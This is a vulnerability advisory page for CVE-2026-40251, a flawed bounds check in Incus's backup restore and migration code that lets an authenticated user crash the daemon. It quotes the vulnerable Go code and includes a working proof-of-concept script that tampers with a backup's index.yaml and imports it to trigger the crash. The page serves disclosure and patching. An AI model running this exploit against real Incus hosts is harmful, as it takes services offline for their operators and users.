CVE-2026-40251: Incus out-of-bounds panic in snapshot metadata handling allows denial of service

Published May 4, 2026
·
Updated

Summary Missing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.

Details The backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays. The same flawed pattern also appears in the migration path.

When iterating through physical snapshots provided in a backup archive, the loop uses the index i to look up corresponding metadata in the parsed Config.Snapshots and Config.VolumeSnapshots slices. To ensure that the metadata slice is long enough, the code uses the guard condition len(slice) >= i-1. This check is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds, including when i >= len(slice), triggering a runtime panic.

An attacker can trigger this by submitting a backup archive that contains physical snapshot directories, which drive the loop variable i, while supplying a tampered index.yaml with an empty or truncated snapshot metadata array. This causes the daemon to index beyond the end of the metadata slice and crash, resulting in immediate denial of service on the node.

Affected File: https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go

Affected Code: func (b backend) CreateInstanceFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op operations.Operation) (func(instance.Instance) error, revert.Hook, error) { [...] postHook := func(inst instance.Instance) error { [...] for i, backupFileSnap := range srcBackup.Snapshots { var volumeSnapDescription string var volumeSnapConfig map[string]string var volumeSnapExpiryDate time.Time var volumeSnapCreationDate time.Time

// Check if snapshot volume config is available for restore and matches snapshot name. if srcBackup.Config != nil { if len(srcBackup.Config.Snapshots) >= i-1 && srcBackup.Config.Snapshots[i] != nil && srcBackup.Config.Snapshots[i].Name == backupFileSnap { // Use instance snapshot's creation date if snap info available. volumeSnapCreationDate = srcBackup.Config.Snapshots[i].CreatedAt }

if len(srcBackup.Config.VolumeSnapshots) >= i-1 && srcBackup.Config.VolumeSnapshots[i] != nil && srcBackup.Config.VolumeSnapshots[i].Name == backupFileSnap { // If the backup restore interface provides volume snapshot config use it, // otherwise use default volume config for the storage pool. volumeSnapDescription = srcBackup.Config.VolumeSnapshots[i].Description volumeSnapConfig = srcBackup.Config.VolumeSnapshots[i].Config

if srcBackup.Config.VolumeSnapshots[i].ExpiresAt != nil { volumeSnapExpiryDate = srcBackup.Config.VolumeSnapshots[i].ExpiresAt }

// Use volume's creation date if available. if !srcBackup.Config.VolumeSnapshots[i].CreatedAt.IsZero() { volumeSnapCreationDate = srcBackup.Config.VolumeSnapshots[i].CreatedAt } } }

[...] } [...] } [...] }

[...]

func (b backend) CreateInstanceFromMigration(inst instance.Instance, conn io.ReadWriteCloser, args localMigration.VolumeTargetArgs, op operations.Operation) error { [...] if !isRemoteClusterMove || args.StoragePool != "" { for i, snapshot := range args.Snapshots { snapName := snapshot.GetName() newSnapshotName := drivers.GetSnapshotVolumeName(inst.Name(), snapName) snapConfig := vol.Config() // Use parent volume config by default. snapDescription := volumeDescription // Use parent volume description by default. snapExpiryDate := time.Time{} snapCreationDate := time.Time{}

// If the source snapshot config is available, use that. if srcInfo != nil && srcInfo.Config != nil { if len(srcInfo.Config.Snapshots) >= i-1 && srcInfo.Config.Snapshots[i] != nil && srcInfo.Config.Snapshots[i].Name == snapName { // Use instance snapshot's creation date if snap info available. snapCreationDate = srcInfo.Config.Snapshots[i].CreatedAt }

if len(srcInfo.Config.VolumeSnapshots) >= i-1 && srcInfo.Config.VolumeSnapshots[i] != nil && srcInfo.Config.VolumeSnapshots[i].Name == snapName { // Check if snapshot volume config is available then use it. snapDescription = srcInfo.Config.VolumeSnapshots[i].Description snapConfig = srcInfo.Config.VolumeSnapshots[i].Config

if srcInfo.Config.VolumeSnapshots[i].ExpiresAt != nil { snapExpiryDate = srcInfo.Config.VolumeSnapshots[i].ExpiresAt }

// Use volume's creation date if available. if !srcInfo.Config.VolumeSnapshots[i].CreatedAt.IsZero() { snapCreationDate = srcInfo.Config.VolumeSnapshots[i].CreatedAt } } }

[...] } } [...] }

PoC

The following PoC demonstrates that a tampered instance backup archive containing physical snapshot directories but an empty snapshot metadata array can trigger an out-of-bounds panic during restore.

Step 1: Generate a valid backup and tamper with its snapshot metadata

From an Incus client with access to the target server, create a minimal instance, create a snapshot, export it, and then modify the exported index.yaml so that the physical snapshot directory remains present while the nested snapshot metadata arrays are emptied.

Commands: cat <<'EOF' > pocsnapshotbounds.sh #!/bin/bash set -e

BASENAME="base-$(date +%s)" PANICNAME="panic-$(date +%s)"

incus init images:alpine/edge "$BASENAME" --project default incus snapshot create "$BASENAME" snap0 --project default incus export "$BASENAME" validsnapshotbase.tar.gz --project default

mkdir -p extractsnapshotbounds tar -xzf validsnapshotbase.tar.gz -C extractsnapshotbounds/ chmod -R u+rwX extractsnapshotbounds/

python3 -c " import os import sys

base = '$BASENAME' panic = '$PANICNAME'

with open('extractsnapshotbounds/backup/index.yaml', 'r') as f: lines = f.read().splitlines()

out = [] inskip = False skipindent = 0

for line in lines: line = line.replace(base, panic) indent = len(line) - len(line.lstrip())

if inskip: if not line.strip(): continue if indent > skipindent or (indent == skipindent and line.lstrip().startswith('-')): continue else: inskip = False

if indent > 0 and (line.lstrip().startswith('snapshots:') or line.lstrip().startswith('volumesnapshots:')): out.append(line.split(':')[0] + ': []') inskip = True skipindent = indent continue

out.append(line)

with open('extractsnapshotbounds/backup/index.yaml', 'w') as f: f.write('\n'.join(out)) "

cd extractsnapshotbounds/ tar -czf ../exploitsnapshotboundspanic.tar.gz backup/ cd ..

rm -rf extractsnapshotbounds/ validsnapshotbase.tar.gz echo "[+] PoC Tarball Created: exploitsnapshotboundspanic.tar.gz" EOF

bash pocsnapshotbounds.sh

Result: [+] PoC Tarball Created: exploitsnapshotboundspanic.tar.gz

Step 2: Trigger the vulnerable restore path

From the same Incus client, import the crafted archive.

Command: incus import exploitsnapshotboundspanic.tar.gz --project default

Result: Error: websocket: close 1006 (abnormal closure): unexpected EOF

Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

Other sources

Incus is a system container and virtual machine manager. In versions before 7.0.0, missing validation logic in the storage volume import logic allows an authenticated user with access to the storage volume feature to cause the Incus daemon to crash. The backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays, and the same flawed pattern also appears in the migration path. When iterating through physical snapshots provided in a backup archive, the loop uses the index to look up corresponding metadata in the parsed Config.Snapshots and Config.VolumeSnapshots slices. The guard condition len(slice) >= i-1 is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds.

An attacker can submit a backup archive that contains physical snapshot directories while supplying a tampered index.yaml with an empty or truncated snapshot metadata array, causing the daemon to index beyond the end of the metadata slice and crash. Repeated use of this issue can be used to keep Incus offline, causing a denial of service. This issue is fixed in version 7.0.0.

MITRE

Affected Software

2 affected componentsFixes available
go/github.com/lxc/incus/v6/cmd/incusd<7.0.0
7.0.0
linuxcontainers Incus<7.0.0

Event History

May 4, 2026
Advisory Published
via GitHub·07:16 PM
Data Sourced
via GitHub·07:16 PM
DescriptionSeverityWeaknessAffected Software
May 6, 2026
CVE Published
via MITRE·08:40 PM
Data Sourced
via MITRE·08:40 PM
DescriptionWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-40251?

CVE-2026-40251 has been identified as a denial of service vulnerability due to missing validation logic in storage volume import.

2

How do I fix CVE-2026-40251?

To mitigate CVE-2026-40251, upgrade to version 7.0.0 or later of the Incus daemon.

3

Who is affected by CVE-2026-40251?

CVE-2026-40251 affects authenticated users with access to Incus' storage volume feature prior to version 7.0.0.

4

What can an attacker do with CVE-2026-40251?

An attacker can exploit CVE-2026-40251 to crash the Incus daemon, leading to potential denial of service.

5

Is there a workaround for CVE-2026-40251?

Currently, the recommended action for CVE-2026-40251 is to update to the fixed version rather than implementing a workaround.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203